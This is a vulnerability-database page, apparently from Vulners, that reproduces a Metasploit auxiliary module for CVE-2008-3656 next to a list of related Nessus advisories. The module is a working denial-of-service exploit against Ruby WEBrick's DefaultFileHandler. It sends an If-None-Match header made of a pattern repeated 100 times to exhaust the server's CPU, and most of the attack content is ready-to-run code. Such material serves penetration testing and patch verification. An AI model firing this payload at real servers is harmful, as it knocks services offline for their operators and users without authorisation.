Ruby WEBrick::HTTP::DefaultFileHandler DoS
🗓️ 17 Oct 2008 15:40:20Reported by kris katterjohn <[email protected]>Type
metasploit🔗 www.rapid7.com👁 38 Views
| Reporter | Title | Published | Views | Family All 116 |
|---|---|---|---|---|
| Mac OS X 10.5 < 10.5.7 Multiple Vulnerabilities | 18 Aug 200400:00 | – | nessus | |
| CentOS 4 / 5 : ruby (CESA-2008:0897) | 28 Oct 200800:00 | – | nessus | |
| CentOS 4 / 5 : ruby (CESA-2008:0981) | 26 Dec 200800:00 | – | nessus | |
| Debian DSA-1651-1 : ruby1.8 - several vulnerabilities | 13 Oct 200800:00 | – | nessus | |
| Debian DSA-1652-1 : ruby1.9 - several vulnerabilities | 13 Oct 200800:00 | – | nessus | |
| Fedora 8 : ruby-1.8.6.287-2.fc8 (2008-8736) | 10 Oct 200800:00 | – | nessus | |
| Fedora 9 : ruby-1.8.6.287-2.fc9 (2008-8738) | 10 Oct 200800:00 | – | nessus | |
| FreeBSD : ruby -- multiple vulnerabilities in safe level (c329712a-6b5b-11dd-9d79-001fc61c2a55) | 17 Aug 200800:00 | – | nessus | |
| FreeBSD : ruby -- DoS vulnerability in WEBrick (f7ba20aa-6b5a-11dd-9d79-001fc61c2a55) | 17 Aug 200800:00 | – | nessus | |
| GLSA-200812-17 : Ruby: Multiple vulnerabilities | 17 Dec 200800:00 | – | nessus |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
'Description' => %q{
The WEBrick::HTTP::DefaultFileHandler in WEBrick in
Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
(CPU consumption) via a crafted HTTP request.
},
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'References' => [
[ 'BID', '30644'],
[ 'CVE', '2008-3656'],
[ 'OSVDB', '47471' ],
[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
],
'DisclosureDate' => '2008-08-08'))
register_options([
OptString.new('URI', [ true, 'URI to request', '/' ])
])
end
def run
begin
o = {
'uri' => normalize_uri(datastore['URI']),
'headers' => {
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
}
}
c = connect(o)
c.send_request(c.request_raw(o))
print_status("Request sent to #{rhost}:#{rport}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Oct 2020 20:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.8
EPSS0.70202